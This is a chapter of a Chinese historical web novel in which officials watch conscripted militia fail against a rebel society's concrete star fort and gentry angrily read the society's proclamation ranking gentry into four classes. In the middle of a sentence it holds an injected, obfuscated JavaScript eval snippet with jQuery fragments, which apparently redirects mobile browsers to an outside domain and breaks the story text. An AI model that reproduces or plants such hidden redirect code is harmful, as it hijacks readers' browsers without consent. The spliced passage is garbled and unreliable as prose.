墙上火光连成一片，成百上千的铅子从铳管里喷射出来，城下乡勇惨叫着倒了一片，陈三绩头皮发麻，喉咙甚是干涩。


    乡勇又一次溃散，下意识地掉头奔逃。


    道标督战队提着长矛上前，陈三绩想叫住那名把总，嘶哑的声音却被官兵的威慑声压了下去。


    “临阵脱逃者，杀无赦！”


    长矛阵捅死十数人，乡勇的溃势才被止住，哭喊着再次攻城。


    把总骑马回来，他于心不忍，却又不能直言退兵，“段把总，大同社所建城堡殊为怪异。”


    “确实怪异！”段把总皱眉说道，“以往打到城下，便是那城建有马面，也总有地方铳炮打不到。但此城，死了上百人，仍未找到铳炮打不着的地方。”


    陈三绩心头一震。


    原来这些乡勇是用来试探出铳炮盲区的。


    远处又是一阵轰隆巨响，再次跑到城下的乡勇，被两边凸出城墙上的铳炮轰打。


    正如段把总所说，该城凸出的城墙，以及那些重型火铳和中小型火炮的位置，像是计算好的，使得城下每一处被射出的铅弹都覆盖住了。


    乡勇死伤惨重，却未立寸功。


    “此外，这城像是用一整块石头做出来似的，根本没法像以往那样挖墙砖。只能蚁附或是挖塌……”段把总说着便摇起了头，“不，挖塌城墙也做不到。


    “这墙是一个整体，想要挖塌城墙不知要挖多大的坑，是以只能蚁附。真不知要死多少人，才能打下这城。建出此城的人，当真聪明绝顶！”


    陈三绩只感到一阵茫然——


    大同社造出此城，用不了十日。


    若大同社在宝庆、永州、衡州、长沙等府造满此等城堡，朝廷要发来多少兵力，耗费多少时日才能尽数拔除？


    光靠湖广一省兵力，当真能阻下大同社贼吗？


    “疯了！真疯了！”


    段把总有些慌张的呢喃将他惊醒。


    他往前一看，便见不知第几次溃败的乡勇突然拼了命地抱住督战队的官兵，甚至用血肉卡住官兵的刀刃，然后不要命地攻击督战队。


    督战队被狂暴的乡勇打得七零八落，陈三绩一颗心全凉了——


    这些乡勇终于发现，与其进攻绝对无法打下的城堡，不如去打督战队，打散督战队，他们便有一线生机。


    身后传来一阵清亮的金属击打声。


    段把总面色一松，高声呼道，“退兵！”


    官兵退下，溃败乡勇顿时四泄，却又被远处的官兵收拢，继而赶回营寨。


    也有部分乡勇逃跑时恢复理智，知道自己跑了，那些大户定会苛待家人，便自己又回了军营。


    当然也有被战场彻底击溃心神，又运气好躲过官兵追杀逃出生天的。他们清醒后，有不少往北逃了。


    陈三绩则随段把总去见了史启元。


    史启元在主位上发愣，其下将领幕僚俱不敢言，他恭恭敬敬地喊了声“永严先生”，史启元眼中才恢复了一些神采。


    “玉凡，坐。”


    史启元让他坐下，他虽然诚惶诚恐，但还是遵命坐下了。


    他能被史启元这个上湖南分守道礼遇，不是他有什么经天纬地之才，而是他一个生员在史启元募集乡勇时自愿报名参军，因而被史启元立为标杆。


    也因此史启元几乎不让他上场，他本有微词，但今日见了攻城战的残酷，他已明白一腔热血在战场上什么都改变不了，不如安安分分做史启元的“招牌”。


    他刚坐下，史启元便道，“本道确定，湘潭已于初六陷落。”


    他大惊失色，他本以为湘潭城陷，与邵阳城被攻破一样，是大同社放出的假消息，万万没想到是真的。


    短短两天，大同社竟能行军将近四百里——便是从邵湘边界算起，也有两百七十里！


    “大同社贼应是从永丰市换了水路，顺流直下，日夜兼程，方才走得这般快。”史启元分析道，“湘潭陷落，长沙岌岌可危。一旦长沙有失，武昌便危险了。”


    史启元一名幕僚语气谦卑地说道，“东翁，在下以为，社贼是占了奇袭的便宜，方能攻下湘潭。社贼正兵不多，光靠乡勇难以打下长沙这等重城。”


    “你说的不错，”史启元道，“但长沙不容有失，是以近期内不会有援兵来永。”


    道标守备惊道，“道台，你的意思是……”


    “本道的意思是……”史启元顿了顿才面无表情地说道，“长沙紧要，零陵城同样重要。零陵不但是永州府核心之地，更与湘潭遥相呼应。


    “一旦社贼取了零陵，不单永州危急，衡州水道更会被社贼截断，社贼可从湘江南北及西边陆路三面水陆并发进攻衡州。若衡州失陷，南楚之地恐怕……”


    史启元没有继续说下去，但众人已明白他的意思。


    陈三绩已猜到史启元的打算，这位守道恐怕不只放弃了将大同社贼逐出永州的想法，而是一心只想保住零陵等城。


    只要无城被破，他便不算什么大过。


    可若就此退守，社贼定会在乡里大肆推行农联。


    他参军之举成了十足十的笑话。


    然而，尽管他心中愤怒无比，想要劝一劝史道台，但话到嘴边却迟迟说不出口。


    他也知道，没有更多兵力不可能打下那怪堡。


    如今之计，要么想办法让朝廷调拨官兵来援，要么招募更多乡勇，用人命去填。


    帐中始终无人说话，史启元便做下决定，“留下半数标营和一千民壮乡勇，在江南建营，与社贼对峙。其余官兵随本道回防府城，以免府城为社贼偷袭轻取。”


    ……


    湘乡县永丰市。


    龙孔蒸从船头跳上码头，欧阳淑石阶上招手，“季霞，这里！”


    龙孔蒸回应一声，便往欧阳淑方向走去。


    四周客商挑夫甚多，许多穿着黑灰蓝三色的相同形制的对襟棉袄，他已在县治见过许多次，知道是大同社的人。


    他走到欧阳淑身边，两人默契地往永丰市走去。


    欧阳淑没有说话，他便边走边打量着仅比大同社在县治所建新城小了些许的灰城。


    他已知此城叫“棱堡”，是用大同社特产“水泥”所造，但其与方正的寻常城池迥异的外貌，让他每次观看都觉得不舒服。


    在他心中，大同社如这棱堡一样怪异。


    “到了。”


    欧阳淑将他带入永丰市一间旅馆。


    一个皮肤黝黑、有些佝偻的老头在一间房外候着他们。


    “两位公子，我家公子已等候多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680665|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时。”


    老头说话很是客气，龙孔蒸也行礼道，“家禄叔，有劳了。”


    “老奴当不得龙公子的礼，”名为“家禄”的老头连忙让开身子推开门，“两位公子，请进。”


    龙孔蒸与欧阳淑一进门，便见愁眉苦脸的洪业嘉正看着一张大纸。


    “家禄”关了门，龙孔蒸和欧阳淑在洪业嘉对面坐下，轻轻喊了声“伯修”。


    洪业嘉长叹一声，将手下大纸放下，龙孔蒸瞥见“告天下绅民书”六个大字，横排，从左往右写，显然是大同社的告示。


    “告天下绅民书！”洪业嘉将这告示递给两位好友，“大同社的雄文，两位好好看看！”


    大同社向来以白话写文，文理粗鄙，洪业嘉说是“雄文”，恐怕是嘲讽。


    但龙孔蒸扫了几眼，便知洪业嘉所言“雄文”，并未嘲讽，而是无奈。


    此书开篇，大同社开门见山，宣告天下，大同社为大同事业建社，但因恶官劣绅迫害举步维艰，为天下生民计，大同社“揭竿起义”，不实现大同不罢休。


    简略说明官绅如何阻碍妨害大同事业后，该文便“胆大包天”地将天下士绅分为四等。


    一为“良绅”，也叫“开明绅士”，是能深切体会百姓不易，主动加入大同事业的士绅。


    这等士绅只会收一成乃至不收租，大同社也会“投桃报李”，允许其被选入“乡贤院”，可向大同社提建议，可质询地方政策。


    二为“顺绅”，即不反对大同事业，但也不主动之士绅。这等士绅只会收二成以下的田租，大同社允许其推选乡贤，但不得被选入“乡贤院”。


    三为“愚绅”，即不主动反抗大同事业的士绅。这等士绅会收三成以下的田租，在大同社治下不得从商，不能推选乡贤。


    四为“劣绅”，即反抗大同事业之士绅，无论是坚持收取三成以上田租者，还是纠众武力对抗大同社者，皆属此类，都是被大同社视为敌人、不容存在的士绅。


    “大同社说来说去，还是落在一个‘田租’上。”洪业嘉不忿道，“收租少，便是好人；收租多，便是坏人。”


    他冷哼一声，又道，“不过，大同贼社最坏之处尚不在此……”


    “贼社！果是贼社！”欧阳淑忽地惊呼，“它竟说‘劣绅以儒教把控官位，将天子与百姓隔绝，进而上欺天子，下虐百姓，收一国八成之利入囊中，致民贫国弱’！”


    洪业嘉咳嗽一声，欧阳淑意识到不妥，压低声音，但仍是一脸愤怒。


    “大同社属实可恨！后文还说天子被士绅高高抬起成独夫，百姓被士绅狠狠打压成奴隶，是以君不敬民，民不信君，国家财富和权力为士绅把持。


    “若想救君救民救国，需铲除劣绅，尊孔孟而废儒教，改‘君权神授’为‘君权民授’，天子与万民共治天下，方才有民富国强、天下为公的大同盛世！”


    欧阳淑怒极，脖子根红得快要熟了，“贼社何其歹毒，对士绅极尽恶毒之言，对圣学极尽污蔑之词！其与天下读书人为敌，必不能长久！”


    龙孔蒸将布告每一个字都看完，摇头叹道，“恐怕不能如予私愿，大同社绝非一般的土贼逆民，朝廷一旦处理不好，便是东虏那般的大患。”


    洪业嘉大为惊诧，“季霞何出此言？”